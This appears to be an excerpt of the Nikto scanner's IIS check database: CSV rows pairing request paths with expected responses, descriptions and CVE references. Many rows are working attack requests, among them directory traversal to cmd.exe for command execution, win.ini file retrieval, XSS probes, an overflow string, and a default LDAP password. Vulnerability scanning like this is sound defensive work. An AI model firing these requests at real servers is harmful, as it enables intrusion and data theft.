"iis","/exchange/lib/PUBFLD.INC","Anonymous Published","GET","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/"
"iis","/exchange/lib/RENDER.INC","Rendering functions","GET","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/"
"iis","/exchange/lib/SESSION.INC","Session Management","GET","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/"
"iis","/exchange/root.asp?acs=anon","/exchange/logonfrm.asp","GET","This allows anonymous access to portions of the OWA server. http://support.microsoft.com/support/exchange/content/whitepapers/owaguide.doc"
"iis","/global.asa","RUNAT","GET","The global.asa file was retrieved, which may contain sensitive information.  Map the .asa extension to the proper dll."
"iis","/homejunk.aspx","NET Framework Version:","GET","ASP.net reveals its version in invalid .aspx error messages."
"iis","/homejunk.aspx","[FileNotFoundException]: ","GET","ASP.net reveals file system paths in invalid .aspx requests."
"iis","/iisadmin/","200","GET","Access to /iisadmin should be restricted to localhost or allowed hosts only."
"iis","/iisadmpwd/..%255c..%255cwinnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS is vulnerable to a double-decode bug, which allows commands to be executed on the system. CAN-2001-0333. BID-2708."
"iis","/iisadmpwd/..%c0%af../winnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS Unicode command exec problem, see http://www.wiretrip.net/rfp/p/doc.asp?id=57&face=2 and http://www.securitybugware.org/NT/1422.html. CVE-2000-0884"
"iis","/iisadmpwd/aexp2.htr","200","GET","Gives domain and system name, may allow an attacker to brute force for access."
"iis","/iisadmpwd/aexp2b.htr","200","GET","Gives domain and system name, may allow an attacker to brute force for access."
"iis","/iisadmpwd/aexp3.htr","200","GET","Gives domain and system name, may allow an attacker to brute force for access."
"iis","/iisadmpwd/aexp4.htr","200","GET","Gives domain and system name, may allow an attacker to brute force for access."
"iis","/iisadmpwd/aexp4b.htr","200","GET","Gives domain and system name, may allow an attacker to brute force for access."
"iis","/iissamples/exair/howitworks/Code.asp","200","GET","Scripts within the Exair package on IIS 4 can be used for a DoS against the server. CVE-1999-0449. BID-193."
"iis","/iissamples/exair/howitworks/Codebrw1.asp","200","GET","This is a default IIS script/file which should be  removed, it may allow a DoS against the server. CAN-1999-0738. MS99-013. CVE-1999-0449. BID-193."
"iis","/iissamples/exair/howitworks/codebrws.asp","ASP Source code browser","GET","This is a default IIS script/file which should be  removed, it may allow a DoS against the server. CAN-1999-0738. MS99-013. CVE-1999-0449. BID-193."
"iis","/iissamples/exair/howitworks/Winmsdp.exe","ASP Source code browser","GET","This is a default IIS script/file which should be  removed, it may allow a DoS against the server. CAN-1999-0738. MS99-013. CVE-1999-0449. BID-193."
"iis","/iissamples/exair/search/advsearch.asp","200","GET","Scripts within the Exair package on IIS 4 can be used for a DoS against the server. CVE-1999-0449. BID-193."
"iis","/iissamples/exair/search/query.asp","200","GET","Scripts within the Exair package on IIS 4 can be used for a DoS against the server. CVE-1999-0449. BID-193."
"iis","/iissamples/exair/search/query.idq?CiTemplate=../../../../../../../../../../winnt/win.ini","[fonts]","GET","This allows arbitrary files to be retrieved from the server, it may allow a DoS against the server. CVE-1999-0449. BID-193. MS01-033."
"iis","/iissamples/exair/search/search.asp","200","GET","Scripts within the Exair package on IIS 4 can be used for a DoS against the server. CVE-1999-0449. BID-193."
"iis","/iissamples/exair/search/search.idq?CiTemplate=../../../../../../../../../../winnt/win.ini","[fonts]","GET","This allows arbitrary files to be retrieved from the server, it may allow a DoS against the server. CVE-1999-0449. BID-193. MS01-033."
"iis","/iissamples/issamples/codebrws.asp","Sample ASP Search Form","GET","This is a default IIS script/file which should be  removed. CAN-1999-0738. MS99-013."
"iis","/iissamples/issamples/fastq.idq?CiTemplate=../../../../../../../../../../winnt/win.ini","[fonts]","GET","This allows arbitrary files to be retrieved from the server. MS01-033."
"iis","/iissamples/issamples/oop/qfullhit.htw?CiWebHitsFile=/iissamples/issamples/oop/qfullhit.htw&CiRestriction=none&CiHiliteType=Full","This is the formatting page for webhits full highlighting","GET","It is possible to retrieve the source of .asp files. Install Webhits patch at http://www.microsoft.com/technet/security/bulletin/ms00-006.asp. MS00-006, CVE-2000-0097."
"iis","/iissamples/issamples/oop/qsumrhit.htw?CiWebHitsFile=/iissamples/issamples/oop/qsumrhit.htw&CiRestriction=none&CiHiliteType=Full","This is the formatting page for webhits summary highlighting.","GET","It is possible to retrieve the source of .asp files. Install Webhits patch at http://www.microsoft.com/technet/security/bulletin/ms00-006.asp. MS00-006, CVE-2000-0097."
"iis","/iissamples/issamples/query.idq?CiTemplate=../../../../../../../../../../winnt/win.ini","[fonts]","GET","This allows arbitrary files to be retrieved from the server. MS01-033."
"iis","/iissamples/issamples/SQLQHit.asp","CHARACTERIZATION","GET","This sample ASP allows anyone to retrieve directory listings."
"iis","/iissamples/issamples/sqlqhit.asp","CHARACTERIZATION","GET","This sample ASP allows anyone to retrieve directory listings."
"iis","/iissamples/issamples/Winmsdp.exe","Sample ASP Search Form","GET","This is a default IIS script/file which should be  removed. CAN-1999-0738. MS99-013."
"iis","/iissamples/sdk/asp/docs/codebrw2.asp","200","GET","This is a default IIS script/file which should be  removed. CAN-1999-0738. MS99-013."
"iis","/iissamples/sdk/asp/docs/codebrws.asp","200","GET","This is a default IIS script/file which should be  removed. CAN-1999-0738. MS99-013."
"iis","/iissamples/sdk/asp/docs/codebrws.asp","View Active Server Page Source","GET","IIS 5 comes with an ASP that allows remote code to viewed. All default files in /IISSamples should be removed. CAN-1999-0738. MS99-013."
"iis","/iissamples/sdk/asp/docs/CodeBrws.asp?Source=/IISSAMPLES/%c0%ae%c0%ae/%c0%ae%c0%ae/bogus_directory/nonexistent.asp","Path not found","GET","CodeBrws.asp can be used to determine if a file system path exists or not. CAN-1999-0738. MS99-013."
"iis","/iissamples/sdk/asp/docs/CodeBrws.asp?Source=/IISSAMPLES/%c0%ae%c0%ae/default.asp","200","GET","IIS may be vulnerable to source code viewing via the example CodeBrws.asp file. Remove all default files from the web root. CAN-1999-0738. MS99-013."
"iis","/iissamples/sdk/asp/docs/Winmsdp.exe","200","GET","This is a default IIS script/file which should be  removed. CAN-1999-0738. MS99-013."
"iis","/iissamples/sdk/asp/docs/Winmsdp.exe","View Active Server Page Source","GET","IIS 5 comes with an ASP that allows remote code to viewed. All default files in /IISSamples should be removed. CAN-1999-0738. MS99-013."
"iis","/iissamples/sdk/asp/docs/Winmsdp.exe?Source=/IISSAMPLES/%c0%ae%c0%ae/%c0%ae%c0%ae/bogus_directory/nonexistent.asp","Path not found","GET","Winmsdp.exe can be used to determine if a file system path exists or not. CAN-1999-0738. MS99-013."
"iis","/iissamples/sdk/asp/docs/Winmsdp.exe?Source=/IISSAMPLES/%c0%ae%c0%ae/default.asp","200","GET","IIS may be vulnerable to source code viewing via the example Winmsdp.exe file. Remove all default files from the web root. CAN-1999-0738. MS99-013."
"iis","/isapi/tstisapi.dll","Pi3web","GET","The test tstisapi.dll is available and can allow attackers to execute commands remotely."
"iis","/ISSamples/SQLQHit.asp","CHARACTERIZATION","GET","This sample ASP allows anyone to retrieve directory listings."
"iis","/ISSamples/sqlqhit.asp","CHARACTERIZATION","GET","This sample ASP allows anyone to retrieve directory listings."
"iis","/JUNK(10)","SecureIIS application","GET","Server appears to be running eEye's SecureIIS application, http://www.eeye.com/."
"iis","/JUNK(10)abcd.html","escape","GET","The IIS server may be vulnerable to Cross Site Scripting (XSS) in error messages, see MS02-018, CVE-2002-0075, SNS-49, MS02-018, CA-2002-09"," "
"iis","/JUNK(5).htw","QUERY","GET","Server may be vulnerable to a Webhits.dll arbitrary file retrieval. MS00-006."
"iis","/junk.aspx","NET Framework Version:","GET","ASP.net reveals its version in invalid .aspx error messages."
"iis","/junk.aspx","[FileNotFoundException]: ","GET","ASP.net reveals file system paths in invalid .aspx requests."
"iis","/market/","200","GET","Site Server sample files.  This might be interesting."
"iis","/msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS is vulnerable to a double-decode bug, which allows commands to be executed on the system. CAN-2001-0333. BID-2708."
"iis","/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:%5c","The paramater is incorrect","GET","May be able to issue arbitrary commands to host."
"iis","/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:%5c","The parameter is incorrect","GET","May be able to issue arbitrary commands to host."
"iis","/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:%5c","[winnt]","GET","Can issue arbitrary commands to host."
"iis","/msadc/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS Unicode command exec problem, see http://www.wiretrip.net/rfp/p/doc.asp?id=57&face=2 and http://www.securitybugware.org/NT/1422.html. CVE-2000-0884"
"iis","/msadc/msadcs.dll","200","GET","See RDS advisory, RFP9902 (wiretrip.net), CVE-1999-1011, MS98-004, MS99-025, CIAC:J-054, ISS 19990809, BID-529"
"iis","/msadc/samples/adctest.asp","200","GET","This may allow remote code execution on the server."
"iis","/msadc/Samples/selector/showcode.asp?source=/msadc/Samples/../../../../../../../../../winnt/win.ini","[fonts]","GET","This allows attackers to read arbitrary files on the host. CAN-1999-0738. MS99-013."
"iis","/mspress30/","200","GET","Site Server sample files.  This might be interesting."
"iis","/nul..cfm","The template specification","GET","ColdFusion 4.0-5.0 reveal file system paths when requesting invalid DOS devices. CVE-2002-0576, KPMG-2002013, Macromedia MPSB02-01, BID-4542."
"iis","/nul..dbm","The template specification","GET","ColdFusion 4.0-5.0 reveal file system paths when requesting invalid DOS devices. CVE-2002-0576, KPMG-2002013, Macromedia MPSB02-01, BID-4542."
"iis","/nul.cfm","The requested file","GET","ColdFusion 4.0-5.0 reveal file system paths when requesting invalid DOS devices. CVE-2002-0576, KPMG-2002013, Macromedia MPSB02-01, BID-4542."
"iis","/nul.dbm","The requested file","GET","ColdFusion 4.0-5.0 reveal file system paths when requesting invalid DOS devices. CVE-2002-0576, KPMG-2002013, Macromedia MPSB02-01, BID-4542."
"iis","/null.htw?CiWebHitsFile=/default.asp%20&CiRestriction=none&CiHiliteType=Full","&lt;html&gt;","GET","It is possible to retrieve the source of .asp files or view any file on the system. Install Webhits patch at http://www.microsoft.com/technet/security/bulletin/ms00-006.asp. MS00-006, CVE-2000-0097."
"iis","/NULL.printer","Error in web printer install","GET","Buffer overflow in Internet Printing ISAPI extension in Windows 2000 allows remote attackers to gain admin privileges via a long print request that is passed to the extension through IIS 5.0. EEYE-AD20010501, CVE-2001-0241, MS01-023, CA-2001-10, BID 2674"
"iis","/oc/Search/SQLQHit.asp","CHARACTERIZATION","GET","This sample ASP allows anyone to retrieve directory listings."
"iis","/oc/Search/sqlqhit.asp","CHARACTERIZATION","GET","This sample ASP allows anyone to retrieve directory listings."
"iis","/officescan/cgi/cgiChkMasterPwd.exe","200","GET","Trend Officescan allows you to skip the login page and access soem CGI programs directly."
"iis","/ows-bin/oaskill.exe?abcde.exe","200","GET","This might be interesting... has been seen in web logs from a scanner."
"iis","/ows-bin/oasnetconf.exe?-l%20-s%20BlahBlah","200","GET","This might be interesting... has been seen in web logs from a scanner."
"iis","/pbserver/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS is vulnerable to a double-decode bug, which allows commands to be executed on the system. CAN-2001-0333. BID-2708."
"iis","/pbserver/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS Unicode command exec problem, see http://www.wiretrip.net/rfp/p/doc.asp?id=57&face=2 and http://www.securitybugware.org/NT/1422.html. CVE-2000-0884"
"iis","/pbserver/pbserver.dll","200","GET","This may contain a buffer overflow. http://www.microsoft.com/technet/security/bulletin/ms00-094.asp"
"iis","/prd.i/pgen/","200","GET","has MS Merchant Server 1.0"
"iis","/prxdocs/misc/prxrch.idq?CiTemplate=../../../../../../../../../../winnt/win.ini","[fonts]","GET","This allows arbitrary files to be retrieved from the server. MS01-033."
"iis","/query.idq?CiTemplate=../../../../../../../../../../winnt/win.ini","[fonts]","GET","This allows arbitrary files to be retrieved from the server. MS01-033."
"iis","/readme.eml","200","GET","Remote server may be infected with the Nimda virus."
"iis","/rpc/..%255c..%255cwinnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS is vulnerable to a double-decode bug, which allows commands to be executed on the system. CAN-2001-0333. BID-2708."
"iis","/rpc/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS Unicode command exec problem, see http://www.wiretrip.net/rfp/p/doc.asp?id=57&face=2 and http://www.securitybugware.org/NT/1422.html. CVE-2000-0884"
"iis","/sam","200","GET","This might be interesting..."
"iis","/sam.bin","200","GET","This might be interesting..."
"iis","/sam._","200","GET","This might be interesting..."
"iis","/samples/search/queryhit.htm","200","GET","This might be interesting..."
"iis","/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS is vulnerable to a double-decode bug, which allows commands to be executed on the system. CAN-2001-0333. BID-2708."
"iis","/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+ver","[Version]","GET","IIS is vulnerable to a double-decode bug, which allows commands to be executed on the system. CAN-2001-0333. BID-2708."
"iis","/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS Unicode command exec problem, see http://www.wiretrip.net/rfp/p/doc.asp?id=57&face=2 and http://www.securitybugware.org/NT/1422.html. CVE-2000-0884"
"iis","/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS Unicode command exec problem, see http://www.wiretrip.net/rfp/p/doc.asp?id=57&face=2 and http://www.securitybugware.org/NT/1422.html. CVE-2000-0884"
"iis","/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\"","boot.ini","GET","IIS Unicode command exec problem, see http://www.wiretrip.net/rfp/p/doc.asp?id=57&face=2 and http://www.securitybugware.org/NT/1422.html. CVE-2000-0884"
"iis","/scripts/admin.pl","200","GET","Default FrontPage CGI found."
"iis","/scripts/Carello/Carello.dll","200","GET","Carello 1.3 may allow commands to be executed on the server by replacing hidden form elements. This could not be tested by Nikto."
"iis","/scripts/cfgwiz.exe","200","GET","Default FrontPage CGI found."
"iis","/scripts/CGImail.exe","200","GET","Default FrontPage CGI found."
"iis","/scripts/contents.htm","200","GET","Default FrontPage CGI found."
"iis","/scripts/counter.exe","200","GET","This might be interesting..."
"iis","/scripts/cphost.dll","200","GET","This might be interesting"
"iis","/scripts/cpshost.dll","200","GET","posting acceptor...possibly allows you to upload files"
"iis","/scripts/fpadmcgi.exe","200","GET","This might be interesting..."
"iis","/scripts/fpadmin.htm","200","GET","Default FrontPage CGI found."
"iis","/scripts/fpcount.exe","200","GET","Default FrontPage CGI found."
"iis","/scripts/fpremadm.exe","200","GET","Default FrontPage CGI found."
"iis","/scripts/fpsrvadm.exe","200","GET","Default FrontPage CGI found."
"iis","/scripts/httpodbc.dll","200","GET","Possible IIS backdoor found."
"iis","/scripts/iisadmin/bdir.htr","200","GET","This default script shows host info and may allow file browsing,request /scripts/iisadmin/bdir.htr??c:\<dirs>"
"iis","/scripts/iisadmin/ism.dll","200","GET","allows you to mount a brute force attack on passwords"
"iis","/scripts/no-such-file.pl","perl script","GET","Using perl.exe allows attacker to view host info. Use perlis.dll instead."
"iis","/scripts/postinfo.asp","200","GET","This might be interesting..."
"iis","/scripts/proxy/w3proxy.dll","502","GET","MSProxy v1.0 installed"
"iis","/scripts/repost.asp","Here is your upload status","GET","This allows uploads to /users. Create /users and give web user read only access."
"iis","/scripts/root.exe?/c+dir+c:\+/OG","Directory of C","GET","This machine is infected with Code Red, or has Code Red leftovers."
"iis","/scripts/samples/ctguestb.idc","200","GET","This might be interesting..."
"iis","/scripts/samples/details.idc","200","GET","See RFP 9901; www.wiretrip.net"
"iis","/scripts/samples/search/author.idq","The template file can not be found in the location specified","GET","This is a default IIS script/file which should be  removed. MS01-033."
"iis","/scripts/samples/search/filesize.idq","The template file can not be found in the location specified","GET","This is a default IIS script/file which should be  removed. MS01-033."
"iis","/scripts/samples/search/filetime.idq","The template file can not be found in the location specified","GET","This is a default IIS script/file which should be  removed. MS01-033."
"iis","/scripts/samples/search/qfullhit.htw","QUERY","GET","Server may be vulnerable to a Webhits.dll arbitrary file retrieval. MS00-006."
"iis","/scripts/samples/search/qsumrhit.htw","QUERY","GET","Server may be vulnerable to a Webhits.dll arbitrary file retrieval. MS00-006."
"iis","/scripts/samples/search/queryhit.idq","The template file can not be found in the location specified","GET","This is a default IIS script/file which should be  removed. MS01-033."
"iis","/scripts/samples/search/simple.idq","The template file can not be found in the location specified","GET","This is a default IIS script/file which should be  removed. MS01-033."
"iis","/scripts/samples/search/webhits.exe","200","GET","This might be interesting..."
"iis","/scripts/tools/ctss.idc","200","GET","This CGI allows remote users to view and modify SQL DB contents, server paths, docroot and more."
"iis","/scripts/tools/dsnform","200","GET","An oldie but goodie... allows creation of ODBC Data Source"
"iis","/scripts/tools/dsnform.exe","200","GET","An oldie but goodie... allows creation of ODBC Data Source"
"iis","/scripts/tools/getdrvrs.exe","200","GET","This can be used to make DSNs, useful in use with an ODBC exploit and the RDS exploit (with msadcs.dll)"
"iis","/scripts/tools/newdsn.exe","200","GET","Default FrontPage CGI found."
"iis","/scripts/tools/newdsn.exe","200","GET","This can be used to make DSNs, useful in use with an ODBC exploit and the RDS exploit (with msadcs.dll). Also may allow files to be created on the server. BID-1818."
"iis","/search/htx/SQLQHit.asp","CHARACTERIZATION","GET","This sample ASP allows anyone to retrieve directory listings."
"iis","/search/htx/sqlqhit.asp","CHARACTERIZATION","GET","This sample ASP allows anyone to retrieve directory listings."
"iis","/search/SQLQHit.asp","CHARACTERIZATION","GET","This sample ASP allows anyone to retrieve directory listings."
"iis","/search/sqlqhit.asp","CHARACTERIZATION","GET","This sample ASP allows anyone to retrieve directory listings."
"iis","/servlet/com.newatlanta.servletexec.JSP10Servlet/","The file was not found","GET","ServletExec 4.1 ISAPI Java Servlet/JSP Engine for IIS discloses the web root. The server may also be vulnerable to a DoS attack by requesting a long file name ending in .jsp"
"iis","/servlet/com.newatlanta.servletexec.JSP10Servlet/..%5c..%5cglobal.asa","OBJECT RUNAT=Server","GET","ServletExec 4.1 ISAPI Java Servlet/JSP Engine for IIS can reveal source code. The server may also be vulnerable to a DoS attack by requesting a long file name ending in .jsp"
"iis","/site/iissamples/","200","GET","This might be interesting..."
"iis","/Sites/Knowledge/Membership/Inspired/ViewCode.asp","200","GET","The default ViewCode.asp can allow an attacker to read any file on the machine. CAN-1999-0738. MS99-013."
"iis","/Sites/Knowledge/Membership/Inspiredtutorial/ViewCode.asp","200","GET","The default ViewCode.asp can allow an attacker to read any file on the machine. CAN-1999-0738. MS99-013."
"iis","/Sites/Samples/Knowledge/Membership/Inspired/ViewCode.asp","200","GET","The default ViewCode.asp can allow an attacker to read any file on the machine. CAN-1999-0738. MS99-013."
"iis","/Sites/Samples/Knowledge/Membership/Inspiredtutorial/ViewCode.asp","200","GET","The default ViewCode.asp can allow an attacker to read any file on the machine. CAN-1999-0738. MS99-013."
"iis","/Sites/Samples/Knowledge/Push/ViewCode.asp","200","GET","The default ViewCode.asp can allow an attacker to read any file on the machine. CAN-1999-0738. MS99-013."
"iis","/Sites/Samples/Knowledge/Search/ViewCode.asp","200","GET","The default ViewCode.asp can allow an attacker to read any file on the machine. CAN-1999-0738. MS99-013."
"iis","/siteseed/","200","GET","Siteseed pre 1.4.2 has 'major' security problems."
"iis","/SiteServer/admin/","403","GET","SiteServer components admin. Default account may be 'LDAP_Anonymous', pass is 'LdapPassword_1'. see http://www.wiretrip.net/rfp/p/doc.asp/i1/d69.htm"
"iis","/SiteServer/Admin/commerce/foundation/domain.asp","200","GET","Displays known domains of which that server is involved."
"iis","/SiteServer/Admin/commerce/foundation/driver.asp","200","GET","Displays a list of installed ODBC drivers."
"iis","/SiteServer/Admin/commerce/foundation/DSN.asp","200","GET","Displays all DSNs configured for selected ODBC drivers."," "
"iis","/SiteServer/admin/findvserver.asp","200","GET","Gives a list of installed Site Server components."
"iis","/SiteServer/Admin/knowledge/dsmgr/default.asp","200","GET","USed to view current search catalog configurations"
"iis","/SiteServer/Admin/knowledge/dsmgr/users/GroupManager.asp","200","GET","Used to create, modify, and potentially delete LDAP users and groups."
"iis","/SiteServer/Admin/knowledge/dsmgr/users/UserManager.asp","200","GET","Used to create, modify, and potentially delete LDAP users and groups."
"iis","/SiteServer/Admin/knowledge/persmbr/vs.asp","200","GET","Expose various LDAP service and backend configuration parameters"
"iis","/SiteServer/Admin/knowledge/persmbr/VsLsLpRd.asp","200","GET","Expose various LDAP service and backend configuration parameters"
"iis","/SiteServer/Admin/knowledge/persmbr/VsPrAuoEd.asp","200","GET","Expose various LDAP service and backend configuration parameters"
"iis","/SiteServer/Admin/knowledge/persmbr/VsTmPr.asp","200","GET","Expose various LDAP service and backend configuration parameters"
"iis","/SiteServer/Knowledge/Default.asp?ctr=\"><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Site Server is vulnerable to Cross Site Scripting"
"iis","/SiteServer/Publishing/ViewCode.asp","200","GET","The default ViewCode.asp can allow an attacker to read any file on the machine. CAN-1999-0738. MS99-013."
"iis","/siteserver/publishing/viewcode.asp?source=/default.asp","200","GET","May be able to view source code using Site Server vulnerability. CAN-1999-0738. MS99-013."
"iis","/smg_Smxcfg30.exe?vcc=3560121183d3","200","GET","This may be a Trend Officesan 'backdoor'."
"iis","/SQLQHit.asp","CHARACTERIZATION","GET","This sample ASP allows anyone to retrieve directory listings."
"iis","/sqlqhit.asp","CHARACTERIZATION","GET","This sample ASP allows anyone to retrieve directory listings."
"iis","/ssi/envout.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\","boot.ini","GET","This CGI allows attackers to read files from the server."
"iis","/trace.axd","Application Trace","GET","The .NET IIS server has application tracing enabled. This could allow an attacker to view the last 50 web requests."
"iis","/tvcs/getservers.exe?action=selects1","200","GET","Following steps 2-4 of this page may reveal a zip file which contains passwords and system details."
"iis","/upload.asp","200","GET","An ASPpage that allows attackers to upload files to server"
"iis","/uploadn.asp","200","GET","An ASPpage that allows attackers to upload files to server"
"iis","/uploadx.asp","200","GET","An ASPpage that allows attackers to upload files to server"
"iis","/vc30/","200","GET","Site Server sample files.  This might be interesting."
"iis","/wa.exe","200","GET","An ASPpage that allows attackers to upload files to server"
"iis","/whatever.htr","200","GET","Reveals physical path. htr files may also be vulnerable to an off-by-one overflow that allows remote command execution (see MS02-018)"
"iis","/whatever.htr","<html>Error: The requested file could not be found. </html>","GET","Reveals physical path. htr files may also be vulnerable to an off-by-one overflow that allows remote command execution (see MS02-018)"
"iis","/WS_FTP.LOG","200","GET","WS_FTP.LOG file was found. It may contain sensitive information."
"iis","/_cti_pvt/","200","GET","FrontPage directory found."
"iis","/_mem_bin/","200","GET","This might be interesting - User Login"
"iis","/_mem_bin/auoconfig.asp","200","GET","Displays the default AUO (LDAP) schema, including host and port."
"iis","/_mem_bin/auoconfig.asp","LDAP","GET","LDAP information revealed via asp. See http://www.wiretrip.net/rfp/p/doc.asp/i1/d69.htm"
"iis","/_mem_bin/FormsLogin.asp","200","GET","This might be interesting - User Login"
"iis","/_mem_bin/formslogin.asp?\"><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Site Server is vulnerable to Cross Site Scripting"
"iis","/_mem_bin/remind.asp","Recover","GET","Page will give the password reminder for any user requested (username must be known)."
"iis","/_private/","200","GET","FrontPage directory found."
"iis","/_private/form_results.html","200","GET","This file may contain information submitted by other web users via forms. CAN-1999-1052."
"iis","/_private/form_results.txt","200","GET","This file may contain information submitted by other web users via forms. CAN-1999-1052."
"iis","/_private/orders.htm","200","GET","Default FrontPage file found."
"iis","/_private/orders.txt","200","GET","Default FrontPage file found."
"iis","/_private/register.htm","200","GET","Default FrontPage file found."
"iis","/_private/register.txt","200","GET","Default FrontPage file found."
"iis","/_private/registrations.htm","200","GET","Default FrontPage file found."
"iis","/_private/registrations.txt","200","GET","Default FrontPage file found."
"iis","/_private/_vti_cnf/","200","GET","FrontPage directory found."
"iis","/_vti_bin/","200","GET","FrontPage directory found."
"iis","/_vti_bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS is vulnerable to a double-decode bug, which allows commands to be executed on the system. CAN-2001-0333. BID-2708."
"iis","/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS Unicode command exec problem, see http://www.wiretrip.net/rfp/p/doc.asp?id=57&face=2 and http://www.securitybugware.org/NT/1422.html. CVE-2000-0884"
"iis","/_vti_bin/admin.pl","200","GET","Default FrontPage CGI found."
"iis","/_vti_bin/cfgwiz.exe","200","GET","Default FrontPage CGI found."
"iis","/_vti_bin/CGImail.exe","200","GET","Default FrontPage CGI found."
"iis","/_vti_bin/contents.htm","200","GET","Default FrontPage CGI found."
"iis","/_vti_bin/fpadmin.htm","200","GET","Default FrontPage CGI found."
"iis","/_vti_bin/fpcount.exe","CGI Error","GET","Frontpage counter CGI has been found. FP Server version 97 allows remote users to execute arbitrary system commands, though a vulnerability in this version could not be confirmed."
"iis","/_vti_bin/fpremadm.exe","200","GET","Default FrontPage CGI found."
"iis","/_vti_bin/fpsrvadm.exe","200","GET","Default FrontPage CGI found."
"iis","/_vti_bin/shtml.dll/_vti_rpc?method=server+version%3a4%2e0%2e2%2e2611","200","POST","Gives info about server settings. CAN-2000-0413, CAN-2000-0709, CAN-2000-0710, BID-1608, BID-1174."
"iis","/_vti_bin/shtml.exe","200","GET","Attackers may be able to crash FrontPage by requesting a DOS device, like shtml.exe/aux.htm -- a DoS was not attempted. CAN-2000-0413, CAN-2000-0709, CAN-2000-0710, BID-1608, BID-1174."
"iis","/_vti_bin/shtml.exe/junk_nonexistant.exe",":\\","GET","This exe shows the full web path when a non-existent file is requested. CAN-2000-0413, CAN-2000-0709, CAN-2000-0710, BID-1608, BID-1174."
"iis","/_vti_bin/shtml.exe/_vti_rpc","200","GET","FrontPage may be installed."
"iis","/_vti_bin/shtml.exe/_vti_rpc?method=server+version%3a4%2e0%2e2%2e2611","200","POST","Gives info about server settings. CAN-2000-0413, CAN-2000-0709, CAN-2000-0710, BID-1608, BID-1174."
"iis","/_vti_bin/_vti_aut/author.dll?method=list+documents%3a3%2e0%2e2%2e1706&service%5fname=&listHiddenDocs=true&listExplorerDocs=true&listRecurse=false&listFiles=true&listFolders=true&listLinkInfo=true&listIncludeParent=true&listDerivedT=false&listBorders=false","200","POST","We seem to have authoring access to the FrontPage web."
"iis","/_vti_bin/_vti_aut/author.exe?method=list+documents%3a3%2e0%2e2%2e1706&service%5fname=&listHiddenDocs=true&listExplorerDocs=true&listRecurse=false&listFiles=true&listFolders=true&listLinkInfo=true&listIncludeParent=true&listDerivedT=false&listBorders=false","200","POST","We seem to have authoring access to the FrontPage web."
"iis","/_vti_bin/_vti_aut/dvwssr.dll","200","GET","This dll allows anyone with authoring privs to change other users file, and may contain a buffer overflow for unauthenticated users. See also : http://www.wiretrip.net/rfp/p/doc.asp?id=45&iface=1"
"iis","/_vti_bin/_vti_aut/fp30reg.dll?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","The remote procedure call failed","GET","This dll is vulnerable to a remote overflow which can allow attackers to execute remote commands."
"iis","/_vti_bin/_vti_cnf/","200","GET","FrontPage directory found."
"iis","/_vti_cnf/_vti_cnf/","200","GET","FrontPage directory found."
"iis","/_vti_inf.html","200","GET","FrontPage may be installed."
"iis","/_vti_log/_vti_cnf/","200","GET","FrontPage directory found."
"iis","/_vti_pvt/access.cnf","200","GET","Contains HTTP server-specific access control information, remove or ACL if FrontPage is not being used."
"iis","/_vti_pvt/administrators.pwd","200","GET","Default FrontPage file found, may be a password file."
"iis","/_vti_pvt/authors.pwd","200","GET","Default FrontPage file found, may be a password file."
"iis","/_vti_pvt/linkinfo.cnf","200","GET","IIS file shows http links on and off site. Might show host trust relationships and other machines on network."
"iis","/_vti_pvt/service.cnf","200","GET","Contains meta-information about the web server, remove or ACL if FrontPage is not being used."
"iis","/_vti_pvt/service.pwd","200","GET","Default FrontPage file found, may be a password file."
"iis","/_vti_pvt/services.cnf","200","GET","Contains the list of subwebs, remove or ACL if FrontPage is not being used. May reveal server version if Admin has changed it."
"iis","/_vti_pvt/svacl.cnf","200","GET","File used to store whether subwebs have unique permissions settings and any IP address restrictions.  Can be used to discover information about subwebs, remove or ACL if FrontPage is not being used."
"iis","/_vti_pvt/users.pwd","200","GET","Default FrontPage file found, may be a password file."
"iis","/_vti_pvt/writeto.cnf","200","GET","Contains information about form handler result files, remove or ACL if FrontPage is not being used."
"iis","/_vti_txt/","200","GET","FrontPage directory found."
"iis","/_vti_txt/_vti_cnf/","200","GET","FrontPage directory found."
"iis","@CGIDIRS/_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15","200","GET","This might be interesting... has been seen in web logs from a scanner."
"iis","@CGIDIRS/_vti_pvt/doctodep.btr","200","GET","This might be interesting... has been seen in web logs from a scanner."
"iis","@CGIDIRScfgwiz.exe","200","GET","This might be interesting... has been seen in web logs from a scanner."
